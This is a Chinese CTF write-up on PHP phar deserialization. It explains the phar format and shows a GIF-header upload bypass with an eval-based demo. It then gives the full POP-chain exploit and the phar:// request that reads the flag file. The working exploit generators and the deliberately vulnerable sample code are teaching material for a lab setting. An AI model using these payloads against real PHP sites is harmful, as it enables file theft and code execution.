0x00 考点

  1. 代码审计
  2. phar反序列化

0x01 phar反序列化

1. 背景

先来了解一下什么是phar。通过phar文件构造反序列化，这是由Sam Thomas在2018年的blackhat会议上提出的。在他分享的文件File Operation Induced Unserialization via the “phar://” Stream Wrapper中详细介绍了phar反序列化，并且给出了在TYPO3和WordPress等cms下的几个实例。

通常我们在利用反序列化漏洞的时候，除了构造怕POP Chain之外，另一个很重要的点就是找到反序列入口函数unserialize。而现在一些开发者为了安全性起见，会用json_decode来替代unserialize，所以反序列化漏洞的利用难度也随之提升了。但是Sam Thomas提出的phar反序列化就拓宽了反序列化漏洞的攻击面。

2. phar://协议

和filter://等流包装器一样，phar://也是流包装器的一种，能够读取phar文件的内容。

3. phar文件结构

phar文件的具体结构可参考： https://www.php.net/manual/zh/phar.fileformat.php

一个phar文件基本由四部分组成：

The phar file format is literally laid out as stub/manifest/contents/signature, and stores the crucial information of what is included in the phar archive in its manifest.

2.1 stub

每一个phar文件都必须包含一个stub，从手册中可以看到，该stub中必须包含__HALT_COMPILER();部分，如此phar扩展才能识别该phar文件。

stub的格式就像一个最简单的PHP文件，一般的格式为xxx<php? xxx; __HALT__COMPILER(); ?>。最后面的?>可以省略，但是__HALT__COMPILER();和?>之间的空格不能超过1个。

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2.2 manifest

phar文件中最核心的部分就是manifest，phar本质是一种压缩文件，其中被压缩的文件的权限和属性等信息都存放在这里。用户自定义的Meta-data也被存储在这里。而这就是通过phar文件来进行反序列化的关键点之一。接下来我们要找到的是能够触发解析这串序列化字符串的函数。

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2.3 contents

contents就是被压缩的文件的内容，我们通过addFromString，以字符串的形式添加一个文件到phar文件中。

2.4 signiture

在调用phar对象的stopBuffering()方法时，签名会被自动计算，一般有两种方式：md5和sha1。

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2.5 一个简单的例子

这就是最简单的一个phar文件的例子：

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// phar.php
<?php
    class PharTest {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new PharTest();
    $o->data='bantian';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();      //签名自动计算
?>

这里需要注意的是，要确保php.ini文件中phar.readonly选项的值为off，不然无法生成phar文件。

查看生成的phar文件，开头包含识别phar文件所必须的<?php __HALT_COMPILER();，然后还包含用户自定义的，以序列化字符串格式存储的metadata信息。

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在PHP的源码ext\phar\phar.c中可以看到解析phar文件中的metadata时的方法phar_parse_metadata，在处理metadata时调用了反序列化处理函数php_var_unserialize()：

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什么函数会在通过 phar://解析phar文件时触发metadata反序列化呢，有师傅测试后得到了一个受到影响的函数列表：

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2.6 将phar文件伪造为其他格式的文件

虽然在新建phar文件时，也就是创建phar对象时，$phar=new Phar('phar.phar');，文件后缀名必须为.phar。但是生成了phar文件后，我们是可以修改文件后缀名的。比如有一些时候，后端可能会通过exif_imagetype来读取用户上传的图像的第一个字节或是文件头来判断图像的类型，以此来限制用户上传的文件类型。这时候就可以在phar文件前面加上类似GIF89a之类的文件头来绕过。毕竟phar文件的stub头仅规定必须包含__HALT_COMPILER();，但是对开头的字符并不做任何的限制。

比如有下面这么一个文件上传的例子。

文件目录结构为：

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$ tree
.
├── file_un.php
├── tmp
│   └── upload_file
├── upload_file.html
└── upload_file.php

upload_file.html，文件上传的form：

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<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    phar反序列化
</head>
<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

upload_file.php，实现上传逻辑文件，可以看到这里会检查上传的文件类型是不是image/gif，并且检查文件的后缀名是不是gif：

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// upload_file.php
<?php
$tmp_file_location='tmp/';
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      $tmp_file_location."upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>

file_un.php，对phar文件进行反序列化的文件，其中触发反序列化行为的就是file_exists函数：

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<?php
$filename=$_GET['filename'];
class AnyClass{
    public $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

AnyClass类中的__destruct魔术方法会执行$this->output指定的命令，所以可以令其为phpinfo();，同时我们可以在stub中加上gif文件头GIF89a，待生成phar文件后修改文件后缀名为gif：

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// exp.php
<?php
class AnyClass
{
    public $output;
    function __destruct()
    {
        eval($this->output);
    }
}

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$obj = new AnyClass();
$obj->output = "phpinfo();";
$phar->setMetadata($obj);
$phar->stopBuffering();

环境搭建好后，访问localhost/upload_file.html，上传phar.gif文件：

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上传后的文件保存在：

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访问localhost/file_un.php，用phar://协议读取上传的phar.gif，phar协议只认里面的stub头，主要包含__HALT_COMPILER();就可以识别，对文件后缀名没有要求：

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可以看到执行了eval($this->output="phpinfo();");，说明执行了反序列化操作。

上述例子的整个执行流程为：

phar

0x02 题解

源码收集

拿到题目，导航栏上有三个按钮：

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随便点一下，发现查看文件后面跟着get请求参数：

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file.php?file=

令file.php?file=index.php：

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直接可以得到源码，所以我们先收集各个页面的源码信息。

index.php：

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<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?>

file.php：

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<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

在file.php中设置了ini_set('open_basedir','/var/www/html/');，限制了我们对除了/var/www/html之外的目录读取。那么flag文件在哪里？F12查看源码，发现提示flag在f1ag.php文件中：

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所以我们的目标就是读取这个文件。

在file.php中include了function.php文件和class.php文件。

function.php：

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<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

function.php文件实现了文件的上传功能，在upload_file()函数中实现上传逻辑，先调用upload_file_check()函数检查上传的文件的后缀，要求是image图片的后缀，然后调用upload_file_do()函数上传文件。上传的文件存放在upload目录下，文件名为：

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$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

然后是核心代码class.php，其中有三个类：

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<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

看到class.php，就知道是一道考察反序列化的题，然后file.php中存在：

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看到了

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$show = new Show(); 
if(file_exists($file))

根据前面关于phar介绍的，已经知道file_exists函数会能够解析用phar://协议读取的phar文件。

并且还存在上传文件的接口：

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并且在class Show中直接给出提示：//$this->source = phar://phar.jpg，所以可以确定本题的考点就是phar反序列化。

分析

前面在分析file.php文件的时候就已经知道，目标是读取f1ag.php文件，既然这道题的考点是反序列化，那么我们就要重点关注文件读取相关的函数，而在class Test类的方法file_get中就有文件读取函数file_get_contents：

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public function file_get($value)
{
    $text = base64_encode(file_get_contents($value));
    return $text;
}

那么目标就是调用class Test类中的file_get()方法。

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public function __get($key)
{
    return $this->get($key);
}
public function get($key)
{
    if(isset($this->params[$key])) {
        $value = $this->params[$key];
    } else {
        $value = "index.php";
    }
    return $this->file_get($value);
}

在Test类中，当魔术方法__get()被触发的时候会调用get()方法，而在get()方法中，当$this->params[$key]存在时，会将该值赋给$value，然后传入file_get()方法。

__get()魔术方法是在尝试获取一个不可达属性，比如private属性或是不存在的属性时会被触发。在Show类中的__toString魔术方法中就有获取属性值的行为：

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public function __toString()
{
    $content = $this->str['str']->source;
    return $content;
}

这里只要构造$this->str['str']为Test类对象就可以触发__get方法，__get()方法会去获取Test类中的source属性，会调用get()方法去获取，在get()方法中会判断$this->params['source']是否存在：

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if(isset($this->params[$key])) {
    $value = $this->params[$key];
}

所以需要将Test类中的params数组赋值为：array('source' => '/var/www/html/f1ag.php');。

接下来就需要触发Show类的__toString()方法，该方法会在直接输出对象引用时自动调用，那就要去找echo。

在C1e4r类中的__destruct方法中，可以看到：

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public function __destruct()
{
    $this->test = $this->str;
    echo $this->test;
}

在执行析构函数时，$this->test的值来自$this->str，那么只要令$this->str的值为Show类对象即可。

整个反序列化POP链执行流程就是：

  1. 令C1e4r类对象的$str值为Show类对象；
  2. C1e4r类中的__destruct函数echo $this->test；
  3. 触发Show类中的__toString()；
  4. Show类中的__toString()执行$content = $this->str['str']->source;；
  5. $this->str['str']为Test类对象，会触发该类中的__get方法；
  6. Test类中的__get方法调用get()，最后调用get_file()读取flag文件。

exp：

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<?php
class C1e4r
{
	public $test;
	public $str;
}

class Show
{
	public $source;
	public $str;
}

class Test
{
	public $params;

	public function __construct()
	{
		$this->params = array (
			'source' => '/var/www/html/f1ag.php',
		);
	}
}

@unlink('phar.phar');

$test = new Test();

$show = new Show();
$show->str = array('str' => $test);

$c1e4r = new C1e4r();
$c1e4r->str = $show;

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($c1e4r);
$phar->stopBuffering();

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然后就是计算文件名了，这里真实的坑到我了。已经从function.php的upload_file_do()函数中知道：

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$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

其中，$_SERVER['REMOTE_ADDR']表示浏览当前页面的用户的 IP 地址。

所以第一反应就是去找我自己的IP，但是从cmd中通过ifconfig找到的并不是我浏览页面时的真实ip，所以我在vps上打了服务，打印出我自己的ip地址：

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// ip.php
<?php 
$ipaddress = $_SERVER['REMOTE_ADDR'];
echo "Your IP Address is " . $ipaddress; 
?>

然后将得到的ip地址和$_FILES["file"]["name"]做一个拼接，然后计算该字符串的md5值，然后访问：

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file.php?file=phar://upload/[md5].jpg

但是怎么都不对…返回的提示是file doesn't exists.。

然后我想，既然已知目录upload/，那么直接访问一下该目录好了，结果发现真的可以访问…：

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然后我又搜了下别人的wp，才发现，因为我们访问靶场的时候，是用的buuoj的内网，所以我用我自己的ip地址去拼接其实也不正确的，真正让人无语的是原来ip地址已经在题目的右上角显示了：

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拼接后为phar.gif174.0.0.2，md5加密后就是98a26f92bdfa31cef626a8ab89f1b104：

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所以最后用phar://协议读取该文件：

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/file.php?file=phar://upload/98a26f92bdfa31cef626a8ab89f1b104.jpg

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解密后得到flag：

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